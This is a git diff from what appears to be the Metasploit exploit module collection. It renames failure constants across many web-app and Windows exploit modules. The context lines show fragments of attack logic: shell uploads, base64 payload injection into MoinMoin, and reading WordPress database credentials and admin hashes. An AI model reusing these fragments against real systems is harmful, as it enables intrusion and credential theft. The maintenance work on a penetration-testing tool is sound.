b/modules/exploits/unix/webapp/havalite_upload_exec.rb index e5ff01b96eceb..bc7b0e012cfa4 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -104,11 +104,11 @@ def upload(base) }) if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading") + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 - fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found") + fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.body =~ /"error"\:"abort"/ - fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}") + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname @@ -124,7 +124,7 @@ def exec(base, payload_fname) }) if res and res.code == 404 - fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}") + fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 32152ed19b981..f56c189a61b03 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -89,7 +89,7 @@ def upload(upload_uri) begin u = URI(upload_uri) rescue ::URI::InvalidURIError - fail_with(Exploit::Failure::Unknown, "Unable to get the upload_uri correctly") + fail_with(Failure::Unknown, "Unable to get the upload_uri correctly") end data = Rex::MIME::Message.new @@ -186,26 +186,26 @@ def exploit print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? - fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials") + fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials") end @cookies = res.get_cookies.sub(/;$/, "") print_status("#{peer} - Accessing the Login Form...") res = get_login_form if res.nil? or res.code != 200 or res.body !~ /login/ - fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form") + fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") end parse_login_options(res.body) res = login if not res or res.code != 303 - fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate") + fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/ print_status("#{peer} - Authentication isn't required.... Proceeding...") @cookies = res.get_cookies.sub(/;$/, "") else - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component") + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component") end print_status("#{peer} - Accessing the Upload Form...") @@ -214,7 +214,7 @@ def exploit if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/ upload_uri = Rex::Text.html_decode($1) else - fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Upload Form") + fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form") end print_status("#{peer} - Uploading shell...") @@ -222,7 +222,7 @@ def exploit res = upload(upload_uri) if res.nil? or res.code != 200 - fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed") + fail_with(Failure::Unknown, "#{peer} - Upload failed") end register_files_for_cleanup("#{@upload_name}.") diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 9cbd133b44496..1dc4a2d6bbb88 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -95,9 +95,9 @@ def upload(base) }) if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading") + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}") + fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}") end fname @@ -120,9 +120,9 @@ def rename(base, original_fname) }) if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming") + fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming") elsif res.body !~ /"res":"OK"/ - fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file") + fail_with(Failure::Unknown, "#{peer} - Failed to rename file") end new_name @@ -132,7 +132,7 @@ def rename(base, original_fname) def exec(base, payload_fname) res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) }) if res and res.code.to_i == 404 - fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}") + fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index b93537dcecb65..e635f9fdabf67 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -240,12 +240,12 @@ def exploit # Check authentication if not session - fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option") + fail_with(Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option") end # Check writable permissions if not writable_page?(session) - fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}") + fail_with(Failure::NoAccess, "There are no write permissions on #{@page}") end # Upload payload @@ -257,7 +257,7 @@ def exploit python_cmd << "application = make_application(shared=True)" res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") if not res - fail_with(Exploit::Failure::Unknown, "Error uploading the payload") + fail_with(Failure::Unknown, "Error uploading the payload") end # Execute payload diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 39b3e8fe28684..0361e8083c745 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -186,7 +186,7 @@ def exploit print_status("Automatically detecting the target...") mytarget = select_target(banner, version) if mytarget.nil? - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end else mytarget = target @@ -241,11 +241,11 @@ def exploit end if res.code == 401 - fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS") + fail_with(Failure::NoAccess, "Please specify correct values for USER and PASS") end if res.code == 404 - fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") + fail_with(Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") end print_status("Unknown response #{res.code}") diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index 41957608bf8b2..dddaa1f204370 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -110,7 +110,7 @@ def exploit # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ - fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") end register_file_for_cleanup(payload_name) diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 546bd1cf11a7a..e88225597df99 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -111,7 +111,7 @@ def exploit # Need to login first :-/ cookie = openx_login(uri_base) if (not cookie) - fail_with(Exploit::Failure::Unknown, 'Unable to login!') + fail_with(Failure::Unknown, 'Unable to login!') end print_status("Logged in successfully (cookie: #{cookie})") @@ -119,7 +119,7 @@ def exploit ids = openx_find_campaign(uri_base, cookie) if (not ids) # TODO: try to add an advertiser and/or campaign - fail_with(Exploit::Failure::Unknown, 'The system has no advertisers or campaigns!') + fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!') end adv_id = ids[0] camp_id = ids[1] @@ -128,14 +128,14 @@ def exploit # Add the banner >:) ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content) if (not ban_id) - fail_with(Exploit::Failure::Unknown, 'Unable to upload the banner!') + fail_with(Failure::Unknown, 'Unable to upload the banner!') end print_status("Successfully uploaded the banner image with id #{ban_id}") # Find the filename ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id) if (not ban_fname) - fail_with(Exploit::Failure::Unknown, 'Unable to find the banner filename!') + fail_with(Failure::Unknown, 'Unable to find the banner filename!') end print_status("Resolved banner id to name: #{ban_fname}") diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 3bfd6c668e182..e3847ec625d58 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -150,7 +150,7 @@ def exploit cmd ||= payload.encoded if not go(cmd) - fail_with(Exploit::Failure::Unknown, "Unable to execute the desired command") + fail_with(Failure::Unknown, "Unable to execute the desired command") end handler diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 12ba92c169abb..1e88de2380b67 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -109,10 +109,10 @@ def exploit if res and res.code == 500 print_good("#{@peer} - Payload sent successfully") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Sending payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end end diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index d6d59178ac0dd..8f205d2ef7ccc 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -82,7 +82,7 @@ def go(command) elsif datastore['HTTP::chunked'] == true b = /chunked Transfer-Encoding forbidden/.match(res.body) if b - fail_with(Exploit::Failure::Unknown, 'Target PHP installation does not support chunked encoding. ' + + fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. ' + 'Support for chunked encoded requests was added to PHP on 12/15/2005. ' + 'Try disabling HTTP::chunked and trying again.') end diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index 3feda95421a2b..a856376e31d4f 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -177,7 +177,7 @@ def exploit print_status("#{peer} - Trying to login...") @cookie_name, @cookie_value = login if @cookie_name.nil? or @cookie_value.nil? - fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful") + fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") end else print_status("#{peer} - Trying unauthenticated exploitation...") @@ -190,7 +190,7 @@ def exploit print_status("#{peer} - Trying to brute force a valid POST ID...") @post_id = find_post_id if @post_id.nil? - fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") + fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") else print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") end @@ -202,7 +202,7 @@ def exploit print_status("#{peer} - Injecting the PHP Code in a comment...") post_uri = post_comment if post_uri.nil? - fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned") + fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned") end print_status("#{peer} - Executing the payload...") @@ -217,7 +217,7 @@ def exploit options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth res = send_request_cgi(options) if res and res.code == 301 - fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated") + fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated") end end diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index d9e4c8d799ad7..560bcdaf8c2f0 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -87,7 +87,7 @@ def go(command) elsif datastore['HTTP::chunked'] == true b = /chunked Transfer-Encoding forbidden/.match(res.body) if b - fail_with(Exploit::Failure::BadConfig, 'Target PHP installation does not support chunked encoding. ' + + fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. ' + 'Support for chunked encoded requests was added to PHP on 12/15/2005. ' + 'Try disabling HTTP::chunked and trying again.') end diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 55f894ffc3611..7568fee5b181a 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -77,11 +77,11 @@ def exploit uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response - fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") + fail_with(Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") return end if (response.body !~ /"token"\s*value="([^"]*)"/) - fail_with(Exploit::Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") + fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") return end token = $1 diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 07465ee23686a..04996d092313c 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -86,7 +86,7 @@ def retrieve_password_hash(file) print_status("Successfully retrieved hash: #{res.body}") return res.body else - fail_with(Exploit::Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.") + fail_with(Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.") return false end end diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 99f57424e15e8..4bb6f82bf7272 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -185,7 +185,7 @@ def build_uri(f_val) # 3. cannot use `, ', ", or space if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' ')) - fail_with(Exploit::Failure::Unknown, "The value for the 'f' variable contains an invalid character!") + fail_with(Failure::Unknown, "The value for the 'f' variable contains an invalid character!") end # 4. the function must be one of: diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 6e6fa4e2bc954..f69398268768a 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -141,7 +141,7 @@ def exploit # The call should return status code 200 if delivery_response.code != 200 - fail_with(Exploit::Failure::NotFound, "Server returned unexpected HTTP code #{delivery_response.code}") + fail_with(Failure::NotFound, "Server returned unexpected HTTP code #{delivery_response.code}") end print_status "The server responded to POST with HTTP code #{delivery_response.code}" @@ -151,7 +151,7 @@ def exploit # Make sure cookies were set if cookies.nil? - fail_with(Exploit::Failure::NotFound, 'The server did not set any cookies') + fail_with(Failure::NotFound, 'The server did not set any cookies') end # Contents of PHPSESSID. About to be set. @@ -161,7 +161,7 @@ def exploit if cookies =~ PHPSESSID_REGEX session_id = $1 else - fail_with(Exploit::Failure::NotFound, 'The cookie PHPSESSID was not set.') + fail_with(Failure::NotFound, 'The cookie PHPSESSID was not set.') end print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'" diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 98b628b9f8685..571d367c41044 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -121,7 +121,7 @@ def exploit if (res and res.code == 200) print_status("Successfully sent exploit request") else - fail_with(Exploit::Failure::Unknown, "Error sending exploit request") + fail_with(Failure::Unknown, "Error sending exploit request") end handler diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index e1b43c309875a..4ae0a1f30b86a 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -195,14 +195,14 @@ def exploit end if not session - fail_with(Exploit::Failure::Unknown, "Error getting a session ID") + fail_with(Failure::Unknown, "Error getting a session ID") end # Inject payload print_status("Trying to inject the payload on #{@page}...") res = inject_code(session, payload.encoded) if not res - fail_with(Exploit::Failure::Unknown, "Error injecting the payload") + fail_with(Failure::Unknown, "Error injecting the payload") end # Execute payload @@ -212,7 +212,7 @@ def exploit 'cookie' => "TWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /HASH/ - fail_with(Exploit::Failure::Unknown, "Error executing the payload") + fail_with(Failure::Unknown, "Error executing the payload") end print_good("Exploitation was successful") diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index b27a6f4e2366b..be4817d4eeeba 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -117,7 +117,7 @@ def exploit if (res and res.code == 200) print_status("Successfully sent exploit request") else - fail_with(Exploit::Failure::Unknown, "Error sending exploit request") + fail_with(Failure::Unknown, "Error sending exploit request") end handler diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index 6b4776f6e4902..cd3fc94f32d4c 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -87,9 +87,9 @@ def php_exploit }) if res and res.body =~ /allow_url_include/ - fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled') + fail_with(Failure::NotVulnerable, 'allow_url_include is disabled') elsif res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index df3a94c2bc369..a4db987b69723 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -74,7 +74,7 @@ def exploit }) if not res or res.code != 200 or res.body !~ /#{payload_name}/ - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload #{payload_name}") @@ -84,7 +84,7 @@ def exploit }) if res and res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed") + fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed") end end end diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 8b619868e95bb..0942a1b076f4d 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -105,14 +105,14 @@ def exploit }) if res and res.body =~ /allow_url_fopen/ - fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') + fail_with(Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') elsif res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end config = parse_wp_config(res.body) if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } - fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") + fail_with(Failure::UnexpectedReply, "The config file did not parse properly") end begin @mysql_handle = ::RbMysql.connect({ @@ -130,13 +130,13 @@ def exploit Errno::ETIMEDOUT, RbMysql::AccessDeniedError, RbMysql::HostNotPrivileged - fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') + fail_with(Failure::NotVulnerable, 'Unable to connect to the MySQL server') end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") if res.nil? or res.size <= 0 - fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') + fail_with(Failure::UnexpectedReply, 'No admin was account found') end user = res.first @@ -159,7 +159,7 @@ def exploit }) if res and res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) @@ -212,9 +212,9 @@ def get_wp_cookie(uri, username, password) }) if res and res.code == 200 - fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') + fail_with(Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end admin_cookie = '' @@ -224,7 +224,7 @@ def get_wp_cookie(uri, username, password) end if admin_cookie.empty? - fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') + fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty') end return admin_cookie @@ -238,9 +238,9 @@ def get_wp_theme(admin_uri, admin_cookie) }) if res and res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0 - fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') + fail_with(Failure::NotVulnerable, 'Wordpress does not have write access') end nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s @@ -266,7 +266,7 @@ def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content) }) if res and res.code != 302 - fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index ac20640a78073..83d95921481f6 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -94,7 +94,7 @@ def exploit }) if not res or res.code != 200 or res.body !~ /#{@payload_name}/ - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = res.body diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index e31405d28b6bc..00477cabb793b 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -120,10 +120,10 @@ def exploit 'data' => "#{data}", }) if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/ - fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + fail_with(Failure::NoAccess, "#{@peer} - Authentication failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end print_good("#{@peer} - Authenticated successfully") @@ -139,10 +139,10 @@ def exploit if res and res.code == 200 print_good("#{@peer} - Payload sent successfully") else - fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") + fail_with(Failure::UnexpectedReply, "#{@peer} - Sending payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end end diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index 3ae99c1a296eb..c4837ab1854d2 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -91,9 +91,9 @@ def login(base, token, cookie) }) if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out") + fail_with(Failure::Unknown, "#{peer} - Connection timed out") elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/ - fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") + fail_with(Failure::NoAccess, "#{peer} - Login failed") end res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' @@ -108,11 +108,11 @@ def get_csfr_info(base, path='index.php', cookie='', vars={}) 'vars_get' => vars }) - fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res + fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || '' sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' - fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty? + fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty? return token, sid end diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index b468da6060652..d61cc1c64ba2b 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -69,7 +69,7 @@ def execute_command(cmd, opts = {}) connect if ( cmd.length > 128 ) - fail_with(Exploit::Failure::Unknown, "Command strings greater then 128 characters will not be processed!") + fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!") end string_uno = Rex::Text.rand_text_alpha_upper(11) @@ -162,7 +162,7 @@ def exploit when 'win' windows_stager else - fail_with(Exploit::Failure::Unknown, 'Target not supported.') + fail_with(Failure::Unknown, 'Target not supported.') end handler diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 4b1f341d5bca1..c58521c6e1ad4 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -103,7 +103,7 @@ def exploit when 'win' windows_stager else - fail_with(Exploit::Failure::Unknown, 'Target not supported.') + fail_with(Failure::Unknown, 'Target not supported.') end handler diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 5eb12066b4d8a..0c9116a0c2713 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -92,7 +92,7 @@ def exploit @java_class = fd.read(fd.stat.size) } if not @java_class - fail_with(Exploit::Failure::Unknown, "Unable to load java class") + fail_with(Failure::Unknown, "Unable to load java class") end super diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index 05551f796ac73..fcab56d674204 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -371,7 +371,7 @@ def process_propfind(cli, request, target) # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index cc437a1280c39..141ce00a7db55 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -318,7 +318,7 @@ def process_propfind(cli, request, target) # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 2116d0ad14d07..5b7b4c214868a 100644 --- 